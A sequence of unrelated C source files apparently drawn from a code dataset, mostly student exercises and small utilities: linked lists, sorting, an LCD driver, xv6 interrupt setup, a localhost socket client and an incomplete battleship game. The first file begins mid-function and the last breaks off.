int matrizB[3][3] = {{5,2,-1},{5,-6,-1},{7,2,5}};
int *matrizC = soma_matriz((int*)matrizA,(int*)matrizB);
print_matriz((int*)matrizA);
printf("\n");
print_matriz((int*)matrizB);
printf("\n");
print_matriz((int*)matrizC);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main()
{
int tabla[100][100];
int localidades=0;
int meses=0;
int i=0;
int j=0;
int x=0;
int y=0;
printf("Localidades: ");
scanf ("%d",&localidades);
printf("Meses: ");
scanf ("%d",&meses);
//--------------------------------------------------------------ingreso de datos
for (i=0;i<localidades;i++)
{
for (j=0; j<meses;j++)
{
printf("\n MM LLUVIA localidad [%d] mes [%d]: ",i,j);
scanf("%d",&tabla[i][j]);
}
}
//------------------------------------------------------------------------------------- muestra de la matriz
for (i=0;i<localidades;i++)
{
for (j=0; j<meses;j++)
{
printf("\t [%d]",tabla[i][j]);
}
printf("\n");
}
//----------------------------------------------------------------------------------- calculo de lluvia anual
for (i=0;i<localidades;i++)
{
int totala=0; // vuelvo a poner en 0 el acumulador
for (j=0;j<meses;j++)
{
if (i==y)
{
totala=totala+tabla[i][j];
}
}
y=y+1; // incremento comparador que se va a igualar para comparar por localidad
printf("\n Lluvia anual en la localidad %i : %i",i,totala);
}
// ------------------------------------------------------------------------------ lluvia mensual
for (j=0;j<meses;j++)
{
int totalm=0;
for (i=0;i<localidades;i++)
{
if (j==x)
{
totalm=totalm+tabla[i][j];
}
}
x=x+1;
printf("\n el total del mes %i es de %i",j,totalm);
}
return 0;
}
|
C
|
#include "types.h"
#include "x86.h"
#include "traps.h"
// I/O Addresses of the two programmable interrupt controllers
#define IO_PIC1 0x20 // Master (IRQs 0-7)
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
// Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware.
void
picinit(void)
{
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
outb(IO_PIC2+1, 0xFF);
}
// I/O Addresses of the two programmable interrupt controllers
#define IO_PIC1 0x20 // Master (IRQs 0-7)
#define IO_PIC2 0xA0 // Slave (IRQs 8-15)
#define IRQ_SLAVE 2 // IRQ at which slave connects to master
// Current IRQ mask.
// Initial IRQ mask has interrupt 2 enabled (for slave 8259A).
static ushort irqmask = 0xFFFF & ~(1 << IRQ_SLAVE);
static void
picsetmask(ushort mask)
{
irqmask = mask;
outb(IO_PIC1 + 1, mask);
outb(IO_PIC2 + 1, mask >> 8);
}
void
picenable(int irq)
{
picsetmask(irqmask & ~(1 << irq));
}
//PAGEBREAK!
// Blank page.
|
C
|
/*
// Ex 11
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#define NAME_SIZE 256
// structure for one node in the linked list
typedef struct node_struct {
int age;
char name[NAME_SIZE];
struct node_struct *next;
} Node;
// enumerated type for valid operations
typedef enum operation_enum {
NEW = 1, FIND, DISPLAY_ASC, DISPLAY_DESC, QUIT
} Operation;
//
// function prototypes for the functions the students need to create
//
void insert_node(Node **head_ptr, Node *node);
Node *find_node(Node *head, const int age);
void display_node(Node *node);
void display_list(Node *head, Operation op);
Node *new_node(const int age, const char *name)
{
Node *new = (Node *)malloc(sizeof(Node));
if (!new) {
fprintf(stderr, "Unable to create new node\n");
return NULL;
}
new->age = age;
strncpy(new->name, name, NAME_SIZE);
new->next = NULL;
return new;
}
void insert_node(Node **head_ptr, Node *node)
{
Node * element;
if (*head_ptr == NULL || (*head_ptr)->age >= node->age)
{
node->next = *head_ptr;
*head_ptr = node;
}
else
{
element = *head_ptr;
while (element->next != NULL && element->next->age < node->age)
{
element = element->next;
}
node->next = element->next;
element->next = node;
}
}
Node *find_node(Node *head, const int age){
if(head == NULL) return NULL;
if(head->age == age) return head;
return find_node(head->next, age);
}
void display_node(Node *node)
{
printf("The %s is %d old", node->name, node->age);
printf("\n");
}
void display_list(Node *head, Operation op)
{
if(op == DISPLAY_ASC)
{
Node * element = head;
while (element != NULL) {
printf("The %s is %d old \n", element->name, element->age);
element = element->next;
}
}
else {
Node * element = head;
if(element->next != NULL)
display_list(element->next, op);
printf("The %s is %d old",element->name, element->age);
}
printf("\n");
}
bool get_operation(Operation *operation, int *age, char *name)
{
const char prompt[] = "Enter an option:\n\t1) Add node\n\t2) Find node\n\t3) display ascending\n\t4) display descending\n\t5) Quit\n-> ";
char input[NAME_SIZE];
bool invalid_operation = true;
while (invalid_operation) {
fprintf(stdout, prompt);
// get the option number from the user's input
int op;
if (fgets(input, NAME_SIZE, stdin) && sscanf(input, "%d", &op) == 1) {
*operation = op;
switch(op) {
case NEW:
// Need both age and name
fprintf(stdout, "Age: ");
if (!fgets(input, NAME_SIZE, stdin) || sscanf(input, "%d", age) != 1) {
fprintf(stdout, "Age must be an integer\n");
break;
}
fprintf(stdout, "Name: ");
if (!fgets(name, NAME_SIZE, stdin)) {
fprintf(stderr, "Error reading name from stdin\n");
break;
}
invalid_operation = false;
break;
case FIND:
// Only need age
fprintf(stdout, "Age: ");
if (!fgets(input, NAME_SIZE, stdin) || sscanf(input, "%d", age) != 1) {
fprintf(stdout, "Age must be an integer\n");
break;
}
invalid_operation = false;
break;
case DISPLAY_ASC:
case DISPLAY_DESC:
// no additional information needed
invalid_operation = false;
break;
case QUIT:
return true;
default:
fprintf(stdout, "Invalid option\n\n");
break;
} // end switch
} else {
fprintf(stdout, "Invalid option\n");
}
} // end while
return false;
}
int main(void) {
Node *head = NULL; // pointer to the first node in the linked list
Node *node;
Operation op;
int age;
char name[NAME_SIZE];
while (!get_operation(&op, &age, name)) {
switch (op) {
case NEW:
// Create a new node and insert it into the list
node = new_node(age, name);
insert_node(&head, node);
break;
case FIND:
// Display all nodes containing the specified age
node = find_node(head, age);
while (node && node->age == age) {
display_node(node);
node = node->next;
node = find_node(node, age);
}
break;
case DISPLAY_ASC:
case DISPLAY_DESC:
// Display the entire linked list in the specified order
display_list(head, op);
break;
case QUIT:
return 0;
default:
break;
} // end switch
} // end while
return 1;
}
*/
// Ex 12-13
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#define NAME_SIZE 256
typedef struct node_struct {
int age;
char name[NAME_SIZE];
struct node_struct *next;
struct node_struct * prev;
} Node;
typedef enum operation_enum {
NEW = 1, FIND, DISPLAY_ASC, DISPLAY_DESC, REMOVE, QUIT
} Operation;
void insert_node(Node **head_ptr, Node *node);
Node *find_node(Node *head, const int age);
void display_node(Node *node);
void display_list(Node *head, Operation op);
void deleteNode(Node** head_ptr, Node* del);
Node *new_node(const int age, const char *name)
{
Node *new = (Node *)malloc(sizeof(Node));
if (!new) {
fprintf(stderr, "Unable to allocate memory for new node\n");
return NULL;
}
new->age = age;
strncpy(new->name, name, NAME_SIZE);
new->prev = NULL;
new->next = NULL;
return new;
}
void insert_node(Node** head_ptr, Node* node)
{
Node* element;
if (*head_ptr == NULL)
*head_ptr = node;
else if ((*head_ptr)->age >= node->age) {
node->next = *head_ptr;
node->next->prev = node;
*head_ptr = node;
}
else {
element = *head_ptr;
while (element->next != NULL &&
element->next->age < node->age)
element = element->next;
node->next = element->next;
if (element->next != NULL)
node->next->prev = node;
element->next = node;
node->prev = element;
}
}
Node *find_node(Node *head, const int age)
{
if(head == NULL) return NULL;
if(head->age == age) return head;
return find_node(head->next, age);
}
void display_node(Node *node)
{
printf("The %s is %d old", node->name, node->age);
printf("\n");
}
void display_list(Node *head, Operation op)
{
if(op == DISPLAY_ASC)
{
Node * element = head;
while (element != NULL) {
printf("The %s is %d old \n", element->name, element->age);
element = element->next;
}
}
else {
Node * element = head;
while(element->next != NULL)
{
element = element->next;
}
while(element != NULL)
{
printf("The %s is %d old \n",element->name, element->age);
element = element->prev;
}
}
printf("\n");
}
void deleteNode(Node** head_ptr, Node* del)
{
if (*head_ptr == NULL || del == NULL)
return;
if (*head_ptr == del)
*head_ptr = del->next;
if (del->next != NULL)
del->next->prev = del->prev;
if (del->prev != NULL)
del->prev->next = del->next;
free(del);
return;
}
bool get_operation(Operation *operation, int *age, char *name)
{
const char prompt[] = "Enter an option:\n\t1) Add node\n\t2) Find node\n\t3) display ascending\n\t4) display descending\n\t5) Remove \n\t6) Quit\n-> ";
char input[NAME_SIZE];
bool invalid_operation = true;
while (invalid_operation) {
fprintf(stdout, prompt);
// get the option number from the user's input
int op;
if (fgets(input, NAME_SIZE, stdin) && sscanf(input, "%d", &op) == 1) {
*operation = op;
switch(op) {
case NEW:
// Need both age and name
fprintf(stdout, "Age: ");
if (!fgets(input, NAME_SIZE, stdin) || sscanf(input, "%d", age) != 1) {
fprintf(stdout, "Age must be an integer\n");
break;
}
fprintf(stdout, "Name: ");
if (!fgets(name, NAME_SIZE, stdin)) {
fprintf(stderr, "Error reading name from stdin\n");
break;
}
invalid_operation = false;
break;
case FIND:
// Only need age
fprintf(stdout, "Age: ");
if (!fgets(input, NAME_SIZE, stdin) || sscanf(input, "%d", age) != 1) {
fprintf(stdout, "Age must be an integer\n");
break;
}
invalid_operation = false;
break;
case DISPLAY_ASC:
case DISPLAY_DESC:
// no additional information needed
invalid_operation = false;
break;
case REMOVE:
fprintf(stdout, "Age: ");
if (!fgets(input, NAME_SIZE, stdin) || sscanf(input, "%d", age) != 1) {
fprintf(stdout, "Age must be an integer\n");
break;
}
invalid_operation = false;
break;
case QUIT:
return true;
default:
fprintf(stdout, "Invalid option\n\n");
break;
} // end switch
} else {
fprintf(stdout, "Invalid option\n");
}
} // end while
return false;
}
int main(void)
{
Node *head = NULL; // pointer to the first node in the linked list
Node *node;
Operation op;
int age;
char name[NAME_SIZE];
while (!get_operation(&op, &age, name)) {
switch(op) {
case NEW:
// Create a new node and insert it into the list
node = new_node(age, name);
insert_node(&head, node);
break;
case FIND:
// Display all nodes containing the specified age
node = find_node(head, age);
while(node && node->age == age) {
display_node(node);
node = node->next;
node = find_node(node, age);
}
break;
case DISPLAY_ASC:
case DISPLAY_DESC:
// Display the entire linked list in the specified order
display_list(head, op);
break;
case REMOVE:
node = find_node(head, age);
deleteNode(&head, node);
break;
case QUIT:
return 0;
default: break; // don't need, but here to avoid compiler warning
} // end switch
} // end while
// if we get here, it's because there was an error reading input
return 1;
}
|
C
|
//
// ARGS: sort Algo, file to sort, -o, file to print to, -k, col to sort on, rows to sort
// 0 1 2 3 4 5 6
#include <sys/times.h> /* times() */
#include "root.h"
int sort_column;
void swap(Record * a, Record * b)
{
Record tmp;
tmp = *a;
*a = *b;
*b = tmp;
}
void insertionsort(Record * records, int gap, int size)
{
int i, j;
int a, b;
Record tmp;
for (i=gap; i<size; i++)
{
for( j = i; j-gap >= 0; j -= gap )
{
switch(sort_column)
{
case 1:
if(strcmp(records[j].ssn, records[j-gap].ssn) < 0 )
{
swap (&records[j], &records[j-gap]);
}
break;
case 2:
if(strcmp(records[j].last, records[j-gap].last) < 0 )
{
swap (&records[j], &records[j-gap]);
}
break;
case 3:
if(strcmp(records[j].first, records[j-gap].first) < 0 )
{
swap (&records[j], &records[j-gap]);
}
break;
case 4:
if ( strcmp(records[j].income, records[j-gap].income) < 0 )
{
swap (&records[j], &records[j-gap]);
}
break;
}
}
}
}
int main( int argc, char ** argv)
{
int series[20] = {1747331, 776591, 345152, 153401, 68178, 30301, 13467, 5985, 2660, 1182, 525, 233, 103, 46, 30, 9, 4, 1};
char * to_sort = argv[1];
char * out = argv[3];
char line[200];
int sort_col; sscanf (argv[5], "%d", &sort_col);
int num_rows, i, j, ch, swaps, gap;
char attribute[10];
Record * records;
FILE * in_fd;
FILE * out_fd;
FILE * time_out;
int rows;
double t1, t2;
struct tms tb1, tb2;
double ticspersec;
ticspersec = (double) sysconf(_SC_CLK_TCK);
t1 = (double) times(&tb1);
sscanf (argv[6], "%d", &rows);
sscanf (argv[5], "%d", &sort_column);
if((in_fd = fopen(argv[1], "rt")) == 0)
{
perror("Could not open file for sort\n");
}
records = (Record *) malloc(sizeof(Record) * rows);
for(i=0; i<rows; i++)
{
if(fscanf(in_fd, "%s %s %s %s", records[i].ssn,records[i].last, records[i].first, records[i].income) == 0 )
{
perror("error reading shit in shellsort\n");
}
}
fclose(in_fd);
for (j=18; j>=0; j--)
{
if(series[j]>0 && series[j]<rows)
{
insertionsort(records, series[j], i);
}
}
out_fd = fopen(argv[3], "wt");
for(i=0; i<rows; i++)
{
fprintf(out_fd, "%s %s %s %s\n", records[i].ssn, records[i].last, records[i].first, records[i].income);
}
fclose(out_fd);
free(records);
t2 = (double) times(&tb2);
time_out = fopen("timeData.txt", "at");
fprintf(time_out, "Shell sort took %lf seconds\n",(t2 - t1) / ticspersec);
fclose(time_out);
return 0;
}
|
C
|
/**********************************************************************
F I L E I N F O R M A T I O N
***********************************************************************/
/*
Author: Ryan Rozanski
Created: 9/6/15
Last Edited: 1/18/16
A general purpose linked list library for arbitrary payloads
*/
/**********************************************************************
I N C L U D E S
***********************************************************************/
#include <stdlib.h>
#include "Linked_List.h"
/**********************************************************************
F U N C T I O N I M P L E M E N T A T I O N S
***********************************************************************/
List *ls_make() {
List *L = malloc(sizeof(List));
L->size = 0;
L->head = NULL;
L->tail = NULL;
return L;
}
void ls_free(List *L, int free_data) {
ls_node *current = L->head;
while(current != NULL) {
L->head = current->next;
if(free_data) { free(current->data); }
free(current);
current = L->head;
}
free(L);
}
void ls_walk(List *L, void (*f)(void *data)) {
ls_node *current = L->head;
for(;current != NULL; current = current->next) { f(current->data); }
}
List *ls_map(List *L, void *(*f)(void *data)) {
List *C = malloc(sizeof(List));
C->size = L->size;
ls_node *current = L->head;
ls_node *new_node;
if(!ls_empty(L)) {
new_node = malloc(sizeof(ls_node));
new_node->data = f(current->data);
new_node->next = NULL;
C->head = C->tail = new_node;
current = current->next;
}
for(;current != NULL; current = current->next) {
new_node = malloc(sizeof(ls_node));
new_node->data = f(current->data);
new_node->next = NULL;
C->tail = C->tail->next = new_node;
}
return C;
}
List *ls_cons(List *L, void *data) {
ls_node *head = malloc(sizeof(ls_node));
head->data = data;
if(ls_empty(L)) {
head->next = NULL;
L->head = L->tail = head;
}
else {
head->next = L->head;
L->head = head;
}
L->size++;
return L;
}
List *ls_snoc(List *L, void *data) {
ls_node *tail = malloc(sizeof(ls_node));
tail->data = data;
tail->next = NULL;
if(ls_empty(L)) { L->head = L->tail = tail; }
else { L->tail = L->tail->next = tail; }
L->size++;
return L;
}
List *ls_insert_nth(List *L, int n, void *data) {
if(n == 0) { return ls_cons(L, data); }
else if(n == ls_size(L)) { return ls_snoc(L, data); }
else {
ls_node *current = L->head;
for(;n>1;n--) { current = current->next; }
ls_node *new_node = malloc(sizeof(ls_node));
new_node->data = data;
new_node->next = current->next;
current->next = new_node;
L->size++;
return L;
}
}
List *ls_remove_nth(List *L, int n, int free_data) {
ls_node *current = L->head;
if(n == 0) { //removing first item
if(ls_size(L) == 1) { L->head = L->tail = NULL; }
else { L->head = L->head->next; }
}
else if(n == ls_size(L)-1) { //removing last item
for(;current->next->next != NULL; current = current->next);
L->tail = current;
current = current->next;
L->tail->next = NULL;
}
else { //else removing some other item between 2 items
for(;n>1; n--, current = current->next);
ls_node *tmp = current;
current = current->next;
tmp->next = current->next;
}
if(free_data) { free(current->data); }
free(current);
L->size--;
return L;
}
int ls_search(List *L, void *data, int (*comparator)(void *data1, void *data2)) {
int pos = 0;
ls_node *current = L->head;
for(;current != NULL; current = current->next, pos++) {
if(comparator(current->data, data) == 0) { return pos; }
}
return -1;
}
void *ls_ref(List *L, int i) {
if(i < 0) { return NULL; }
ls_node *current = L->head;
for(; i>0; i--) { current = current->next; }
return current->data;
}
List *ls_reverse(List *L) {
ls_node *old_ls = L->head;
ls_node *new_ls = NULL;
ls_node *head;
while(old_ls != NULL) {
head = old_ls;
old_ls = old_ls->next;
head->next = new_ls;
new_ls = head;
}
L->tail = L->head;
L->head = new_ls;
return L;
}
List *ls_sort(List *L, int (*comparator)(void *data1, void *data2)) {
int listSize = 1, numMerges, leftSize, rightSize;
ls_node *list = L->head, *tail,*left,*right,*next;
do {
numMerges = 0;
left = list;
tail = list = NULL;
while(left != NULL) {
numMerges++;
right = left;
leftSize = 0;
rightSize = listSize;
while(right != NULL && leftSize < listSize) { leftSize++,right = right->next; }
while(leftSize > 0 || (rightSize > 0 && right != NULL)) {
if(leftSize == 0) {next = right; right = right->next; rightSize--; }
else if(rightSize == 0 || right == NULL) {next = left; left = left->next; leftSize--; }
else if(comparator(left->data,right->data) < 0) {next = left; left = left->next; leftSize--; }
else {next = right; right = right->next; rightSize--; }
if(tail != NULL) { tail->next = next; }
else { list = next; }
tail = next;
}
left = right;
}
if(tail != NULL) { tail->next = NULL; }
listSize <<= 1;
} while(numMerges > 1);
L->head = list;
L->tail = tail;
return L;
}
|
C
|
/**
* @file tutorial.c
* @brief
* @author cxl, <shuanglongchen@yeah.net>
* @version 0.1
* @date 2015-10-25
* @modified 2015-10-26 00:08:11 (+0800)
*/
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include "TutorialConfig.h"
#ifdef USE_MYMATH
#include "MathFunctions.h"
#endif
int main(int argc, char *argv[])
{
double inputValue;
double outputValue;
if (argc < 2)
{
fprintf(stdout, "%s Version: %d.%d\n",
argv[0],
Tutorial_VERSION_MAJOR,
Tutorial_VERSION_MINOR);
fprintf(stdout, "Usage: %s number\n", argv[0]);
return 1;
}
inputValue = atof(argv[1]);
#ifdef USE_MYMATH
outputValue = mysqrt(inputValue);
#else
outputValue = sqrt(inputValue);
#endif
fprintf(stdout, "The square root of %g is %g\n", inputValue, outputValue);
return 0;
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
int main () {
int altura;
int anchura;
int waltura;
int wanchura;
float superficie;
float rinde;
int costo;
altura = 5;
anchura = 10;
wAltura = 2;
wAnchura = 4;
superficie = altura*anchura - wAltura*wAnchura;
rinde = superficie / 0.8;
costo = rinde * 350;
printf("\n\nPara pintar %f m2 de pared su costo sera de $ %d", superficie, costo);
printf("\n\n");
system("Pause");
return 0;
}
|
C
|
/*
** EPITECH PROJECT, 2019
** s
** File description:
** s
*/
#include "include/btree.h"
#include <stdlib.h>
btree_t *btree_create_node(void *item)
{
btree_t *res = malloc(sizeof(btree_t));
res->right = 0;
res->left = 0;
res->item = item;
return res;
}
|
C
|
#include <stdio.h>
int main()
{
int n, i, j, sum = 0, va[10], vb[50];
scanf("%d", &n);
for (i = 0; i < n; i++) {
scanf("%d", &va[i]);
}
int cont = 0;
for (i = 0; i < n; i++) {
for (j = 0; j < n; j++) {
if (va[i] != va[j]) {
vb[cont] = va[i] * 10 + va[j];
sum += vb[cont];
cont++;
}
}
}
printf("%d", sum);
return 0;
}
|
C
|
#include<stdio.h>
#include<netinet/in.h>
#include<sys/types.h>
#include<arpa/inet.h>
#include<fcntl.h>
main()
{
int sockfd,fd,len,i;int q;
int a[2];
struct sockaddr_in sa,ca;
len=sizeof(sa);
sockfd = socket(AF_INET,SOCK_STREAM,0);
sa.sin_family=AF_INET;
sa.sin_addr.s_addr=inet_addr("127.0.0.1");
sa.sin_port=999;
i=connect(sockfd,(struct sockaddr *) &sa,len);
printf("(%d,%d)\n",sockfd,i);
printf("Give a number for server");
scanf("%d%d",&a[0],&a[1]);
send(sockfd,a,8,0);
}
|
C
|
/* ------------------------------------------------------------------------- */
/* Fonctions permettant de g�rer l'afficheur LCD en mode 4 bits */
/* PHELMA - L. Aubard */
/* 04/2012 */
/* ------------------------------------------------------------------------- */
#include "lcd.h"
#include <delays.h>
volatile near struct {
unsigned LCD_DATA:4;
unsigned reserved:4;
} LCDbits; // @PORTD // port D complet dont <D7:D4> 4 bits de donn�es
#define LCD_RS LATCbits.LATC5 // RS afficheur
#define LCD_RW LATCbits.LATC6 // R/W afficheur
#define LCD_EN LATCbits.LATC7 // EN afficheur
#define LCD_PWR LATCbits.LATC4 // alimentation de l'afficheur
/* ---------------------------------------- */
/* G�n�re une impulsion Enable */
/* ---------------------------------------- */
void lcd_strobe(void)
{
LCD_EN = 1;
LCD_EN = 0;
}
/* ---------------------------------------- */
/* Ecrit un octet sur le LCD en mode 4 bits */
/* ---------------------------------------- */
void lcd_write(char c)
{
unsigned char Ln, Hn;
Hn = PORTD & 0x90; // Poids fort = alim.EN.R/W.RS en force EN et R/W � 0 ; alim et RS conserv�s
// RS �tant affect� avant de lancer cette fonction !
Ln = c >> 4 ; // Pr�paration 4 bits de poids fort DATA
LCD_DATA =Hn + Ln; // Envoi 4 premiers bits (poids fort) au LCD
lcd_strobe(); // impulsion EN
Delay10TCYx(4); // delay 40us
Ln = c & 0x0F; // masuage des bits de poids fort pour ne conserver que le poids faible
LCD_DATA = Hn + Ln; // Envoi 4 bits de poids faible au LCD
lcd_strobe(); // impulsion EN
Delay10TCYx(4); // delay 40us
}
/* ---------------------------------------- */
/* Clear LCD */
/* ---------------------------------------- */
void lcd_clear(void)
{
LCD_RS = 0; // n�cessaire pour instruction clear
lcd_write(0x1); // instruction clear
Delay100TCYx(20); //delay 2ms (>1.64ms d'apr�s notice)
}
/* ---------------------------------------- */
/* Ecit une chaine de carcat�res sur le LCD */
/* ---------------------------------------- */
void lcd_puts(const char *s)
{
LCD_RS = 1; // pour �criture dans la m�moire affichage
while(*s != '\0')
lcd_write(*s++);
}
/* ---------------------------------------- */
/* Ecrit un caract�re sur le LCD */
/* ---------------------------------------- */
void lcd_putch(char c)
{
LCD_RS = 1; // pour �criture dans la m�moire affichage
lcd_write(c);
}
/* ---------------------------------------- */
/* Go to the specified position */
/* ---------------------------------------- */
void lcd_goto(unsigned char pos)
{
LCD_RS = 0;
lcd_write(0x80+pos); // 0x80 car adresse sur 7 bits (8�me bit � 1 voir instruction "set DDRAM")
// pos et 0x00 pour d�but de 1�re ligne
// pos et 0x40 pour d�but de 2�me ligne
// avec 16 caract�res par ligne
}
/* ---------------------------------------- */
/* initialise the LCD en mode 4 bits */
/* ---------------------------------------- */
void lcd_init()
{
LCD_RS = 0;
LCD_EN = 0;
LCD_RW = 0;
LCD_PWR = 1; // alimentation de l'afficheur
Delay1KTCYx(40); // delay 40ms
LCD_DATA = 0x83; // LCD_DATA=PORTD=Alim.E.RW.RS.D7.D6.D5.D4
// Alim.E.RW.RS = 0x8 pour toute la phase d'initialisation (hors lcd_strobe)
// d'apr�s notice on commence par �crire 0x03 dans IR soit 0x83 pour conserver l'alim
lcd_strobe(); // impulsion sur E
Delay100TCYx(50); // delay 5ms
lcd_strobe(); // valeur de LCD_DATA inchang�e
Delay10TCYx(10); // delay 100us
lcd_strobe(); // valeur de LCD_DATA inchang�e
Delay10TCYx(10); // delay 100us
LCD_DATA = 0x82; // d'apr�s notice
lcd_strobe();
Delay10TCYx(10); //delay 100us
lcd_write(0x28); // Instruction "fonction set" 0 0 1 DL N F x x
// DL=0 pour mode 4 bits, 1 pour mode 8bits
// N=0 pour une ligne, 1 pour deux lignes
// F=0 pour caract�res 5x7, 1 pour caract�res 5x10
// x peu importe
lcd_write(0x0F); // Instruction "display ON/OFF" 0 0 0 0 1 D C B
// D=0 hors fonction, 1 en fonction
// C=0 pas de curseur, 1 curseur
// B=0 clignotement curseur, 1 non clignotement
lcd_write(0x01); // instruction "clear dispaly" 0 0 0 0 0 0 0 1
lcd_write(0x07); // instruction "entry mode set" 0 0 0 0 0 1 I/D S
// I/D=0 d�placement curseur � droite apr�s �criture d'un caract�re, 1 � gauche
// S=0 affichage n'accompagne pas le curseur, 1 accompagne le curseur
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define NB_PLAYER 2
#define PLATEAU_HEIGHT 9
#define PLATEAU_WIDTH 15
#define CORVETTE_ID 1
#define CORVETTE_WIDTH 1
#define CORVETTE_NB 1
#define DESTROYER_ID 2
#define DESTROYER_WIDTH 3
#define DESTROYER_NB 2
#define CROISEUR_ID 3
#define CROISEUR_WIDTH 4
#define CROISEUR_NB 2
#define PORTE_AVION_ID 4
#define PORTE_AVION_WIDTH 6
#define PORTE_AVION_NB 1
#define HIT 8
#define MISS 9
#define IA 0
#define PLAYER 1
#define X 0
#define Y 1
void setConsoleColor(WORD input){
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(hConsole, input);
}
void waitFor (unsigned int secs) {
unsigned int retTime = time(0) + secs; // Get finishing time.
while (time(0) < retTime); // Loop until it arrives.
}
int doRand(int startVal, int endVal){
waitFor(0.05);
srand(time(NULL)*rand());
if(startVal == 0 && endVal == 1){
return rand() % 2;
}else{
return (rand() % ((endVal + startVal -1) + startVal));
}
}
void saver(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
char question = ' ';
while(question != 'Y' && question != 'N'){
printf("Voulez vous enregistrer la partie? (Y/N)\n");
scanf("%c[YN]",&question);
fflush(stdin);
}
if(question == 'Y'){
savePlateau(plateau);
}
}
void saveTo1(int tab[2],int tabSize,char* file){
int i;
FILE* ftp = fopen(file,"w+");
for(i=0;i<tabSize;i++){
fprintf(ftp,"%c",(char)tab[i]);
}
fclose(ftp);
}
void saveTo2(int tab[4][2],int tabSize1, int tabSize2,char* file){
int i,j;
FILE* ftp = fopen(file,"w+");
for(i=0;i<tabSize1;i++){
for(j=0;j<tabSize2;j++){
fprintf(ftp,"%c",(char)tab[i][j]);
}
}
fclose(ftp);
}
void savePlateau(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i,j,k;
FILE* ftp = fopen("./battleship.save","w+");
for(i=0;i<NB_PLAYER;i++){
for(j=0;j<PLATEAU_HEIGHT;j++){
for(k=0;k<PLATEAU_WIDTH;k++){
fprintf(ftp,"%c",(char)plateau[i][j][k]);
}
}
}
fclose(ftp);
}
void loadFrom1(int tab[2],int tabSize,char* file){
int i;
char c;
FILE* fptr;
if(fptr = fopen(file,"r")){
for(i = 0;i < tabSize; i++){
c = fgetc(fptr);
if( feof(fptr) )
{
break;
}
tab[i]=(int)c;
}
}
fclose(fptr);
}
void loadFrom2(int tab[4][2],int tabSize1, int tabSize2,char* file){
int i,j;
char c;
FILE* fptr;
if(fptr = fopen(file,"r")){
for(i = 0;i < tabSize1; i++){
for(j=0;j<tabSize2;j++){
c = fgetc(fptr);
if( feof(fptr) )
{
break;
}
tab[i][j]=(int)c;
}
}
}
fclose(fptr);
}
void loadPlateau(int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i,j,k;
char c;
FILE* fptr = fopen("./battleship.save","r");
for(i = 0;i < NB_PLAYER; i++){
for(j = 0;j < PLATEAU_HEIGHT; j++){
for(k = 0;k < PLATEAU_WIDTH; k++){
c = fgetc(fptr);
if( feof(fptr) )
{
break;
}
plateau[i][j][k]=(int)c;
}
}
}
fclose(fptr);
/*fflush(stdin);
printAllPlateau(plateau);
getchar();*/
}
int setNavire(int player, int orientation, int x, int y, int size, int id, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
printf("setNavire x=%d y=%d size=%d id=%d ",x+1,y+1,size,id);
if(orientation){
printf("orientation vertical\n");
for(i=0;i<size;i++){
//printf("on tab player %d\n",player+1);
//printf("local tab value %d\n",plateau[player][x+i][y]);
plateau[player][x+i][y] = id;
//printf("new value %d\n",plateau[player][x+i][y]);
}
}else{
printf("orientation horizontal\n");
for(i=0;i<size;i++){
//printf("on tab player %d\n",player+1);
//printf("local tab value %d\n",plateau[player][x][y+i]);
plateau[player][x][y+i] = id;
//printf("new value %d\n",plateau[player][x][y+i]);
}
}
printf("\n");
}
//Return 0 if case have nothing
//Return item value if case have something
int testCase(int player, int orientation, int x, int y, int size, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
//boucle to see dimension
int i = 0;
int flagOk = 1;
//printf("Debug TestCase :\nPlayer : %d\nOrientation : %d\nx : %d\ny : %d\nSize : %d\n",player,orientation,x,y,size);
if(orientation){
//Test boat enter in map with is width
if(/*(x - size >= 0) && (y - size >= 0) && */(x + size <= PLATEAU_HEIGHT)/* && (y + size < PLATEAU_HEIGHT)*/){
for(i=0;i<size;i++){
if(plateau[player][x+i][y] != 0){
flagOk = 0;
}
}
}else{
return -1;
}
if(flagOk == 0){
return -1;
}else{
return 0;
}
}else{
//Test boat enter in map with is width
if(/*(x - size >= 0) && (y - size >= 0) && *//*(x + size < PLATEAU_WIDTH) &&*/ (y + size <= PLATEAU_WIDTH)){
for(i=0;i<size;i++){
if(plateau[player][x][y+i] != 0){
flagOk = 0;
}else{
//printf("debug plateau x:%d y:%d = %d\n",x,y+i,plateau[player][x][y+i]);
}
}
}else{
return -1;
}
if(flagOk == 0){
return -1;
}else{
return 0;
}
}
}
int setCorvetteIA(int player, int nbCorvette, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbCorvette;i++){
while(flag){
y = doRand(0,PLATEAU_WIDTH-1);
x = doRand(0,PLATEAU_HEIGHT-1);
orientation = doRand(0,1);
if(testCase(player,orientation,x,y,CORVETTE_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,CORVETTE_WIDTH,CORVETTE_ID,plateau);
flag = 0;
}
}
flag = 1;
}
}
int setDestroyerIA(int player, int nbDestroyer, int plateau[NB_PLAYER][PLATEAU_HEIGHT][PLATEAU_WIDTH]){
int i = 0;
int x = -1;
int y = -1;
int flag = 1;
int orientation;
for(i=0;i<nbDestroyer;i++){
while(flag){
y = doRand(0,PLATEAU_WIDTH-1);
x = doRand(0,PLATEAU_HEIGHT-1);
orientation = doRand(0,1);
if(testCase(player,orientation,x,y,DESTROYER_WIDTH,plateau) == 0){
setNavire(player,orientation,x,y,DESTROYER_WIDTH,DESTROYER_ID,plateau);
